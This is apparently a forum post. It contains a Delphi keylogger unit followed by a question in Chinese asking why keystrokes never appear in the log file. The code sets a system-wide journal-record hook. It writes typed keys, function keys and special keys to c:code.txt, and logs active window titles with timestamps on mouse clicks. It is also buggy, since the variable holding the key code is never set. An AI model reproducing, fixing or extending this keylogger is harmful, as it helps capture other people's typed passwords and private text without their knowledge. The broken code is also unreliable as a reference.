unit HKproc;
interface
Uses windows,Messages,Classes,SysUtils,Dialogs,Variants;
var
  hNextHookProc:HHOOK;
  procSaveExit:Pointer;
  G_lastFocus:THandle;
  G_PrevChar:Char;
  function KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
  function EnableHotKeyHooK:BOOL;export;
  function DisableHotKeyHook:BOOL;export;
  procedure HotKeyHookExit;far;
const
    _KeyPressMask=$80000000;implementation
  function KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
  const
     SfileName='c:code.txt';
  var
    pEvt:TEventMsg;
    hFocus:THandle;
    szTitle:array[0..255] of Char;
    Stream:TextFile;
    vKey:Integer;
    ch:Char;
    str:array[0..10] of Char;
    pt:TDateTime;
    time1:String;
    iCtrl,iAlt,iShift:Integer;
    iNumLock:Integer;
    iCapital:Integer;
    bAlt,bCtrl,bShift,bCapital,bNumlocl:Boolean;
    MouPos:TPoint;
    StrString:String;
    SPCH:Char;
  begin
    Result:=0;
    if (iCode<0) then
    begin
      Result:=CallNextHookEx(hNextHookProc,iCode,wParam,integer(lParam));
      exit;
    end;
    if iCode=HC_ACTION then
    begin
      pEvt:=PEventMsg(lParam)^;
      //if not FileExists(SfileName) then
      //   FileCreate(SfileName);
      AssignFile(Stream,SfileName);
      if not FileExists(SfileName) then
        Rewrite(Stream)
      else
        Append(Stream);
      if pEvt.message=WM_KEYDOWN then
      begin                                
         iShift:=GetKeyState(VK_SHIFT);
        iCapital:=GetKeyState(VK_CAPITAL);
        iNumLock:=GetKeyState(VK_NUMLOCK);
        iCtrl:=GetKeyState(VK_CONTROL);
        iAlt:=GetKeyState(VK_MENU);
        if ((iShift and _KeyPressMask)=_KeyPressMask) then
        begin
           bShift:=True;
        end
        else
        begin
           bShift:=False;
        end;
        if ((iCtrl and _KeyPressMask)=_KeyPressMask) then
        begin
           bCtrl:=True;
        end
        else
        begin
           bCtrl:=False;
        end;
        if ((iAlt and _KeyPressMask)=_KeyPressMask) then
        begin
           bAlt:=True;
        end
        else
        begin
           bAlt:=False;
        end;
        bCapital:=(iCapital and 1)=1;
        bNumlocl:=(iNumLock and 1)=1;
        if (vKey>=48) and (vKey<=57) then
        begin
          if not bShift then
             Write(Stream,char(vKey));
        end;
        if (vKey>=65) and (vKey<=90) then
        begin
          if not bCapital then
          begin
            if  bShift then
              ch:=char(vKey)
            else
              ch:=char(vKey+32);
          end
          else
          begin
            if  bShift then
              ch:=char(vKey+32)
            else
              ch:=char(vKey);
          end;
        Write(Stream,ch);
        end;
        if (vKey>=96) and (vKey<=105) then
        begin
          if bNumlocl then
          begin
            write(Stream,char(vKey-96+48));
          end;
        end;
                   
        if  (vKey<=VK_F12) and (vKey>=VK_F1) then
        begin
          time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz     ',now);
          StrString:=Time1+'   按功能键:F'+IntToStr(vKey-111)+'。';
          Writeln(Stream,StrString);
        end;
                                                          
         if bShift then
         begin
           case vKey of
           48:spch:=')';
           49:spch:='!';
           50:spch:='@';
           51:spch:='#';
           52:spch:='$';
           53:spch:='%';
           54:spch:='^';
           55:spch:='&';
           56:spch:='*';
           57:spch:='(';
           else
             spch:='n';
           end;
           if spch<>'n' then
             Write(Stream,spch);
         end;
        if (vKey>=8) and (vKey<=46) then
        begin
          case vKey of
            8:str:='[BK]';
            9:str:='[TAB]';
            13:str:='[EN]';
            32:str:='[SP]';
            33:str:='[PU]';
            34:str:='[PD]';
            35:str:='[END]';
            36:str:='[HOME]';
            37:str:='[LF]';
            38:str:='[UF]';
            39:str:='[RF]';
            40:str:='[DF]';
            45:str:='[INS]';
            46:str:='[DEL]';
            ELSE
              ch:='n';
          end;
          if ch<>'n' then
          begin
              Write(Stream,Str);
              if vKey=VK_RETURN then
              begin
                 Writeln(Stream,'');
                 writeln(Stream,'输 入 回 车 可 能 是 确 认 或 是 换 行---');
                 Writeln(Stream,'')
              end;
          end;
      end;
      if (pEvt.message=WM_LBUTTONDOWN) or (pEvt.message=WM_RBUTTONDOWN) then
      begin
        hFocus:=GetActiveWindow;
        if (G_lastFocus<>hFocus) then
        begin
          G_lastFocus:=hFocus;
          GetWindowText(hFocus,szTitle,256);
          pt:=Now;
          time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz     ',pt);
          time1:=time1+'   '+szTitle;
          Writeln(Stream,Time1);
        end
      end;
      CloseFile(Stream);
      Result:=1;
    end;
  end;
  function EnableHotKeyHooK:BOOL;export;
  begin
   Result:=False;
   G_lastFocus:=0;
   if hNextHookProc<>0 then exit;
      hNextHookProc:=SetWindowsHookEx(WH_JOURNALRECORD,KeyBHkHandle,HInstance,0);
   Result:=hNextHookProc<>0;
  //
  end;
  function DisableHotKeyHook:BOOL;export;
  begin
    if hNextHookProc<>0 then
    begin
      UnhookWindowsHookEx(hNextHookProc);
      hNextHookProc:=0;
      MessageBeep(0);
      MessageBeep(0);
    end;
    Result:=hNextHookProc=0;
  //
  end;
  procedure HotKeyHookExit;far;
  begin
    if hNextHookProc<>0 then
    DisableHotKeyHook;
    ExitProc:=procSaveExit;
  //
  end;
end.
这个程序运行是通过的,但是按键就是不能在文档里显示,为什么?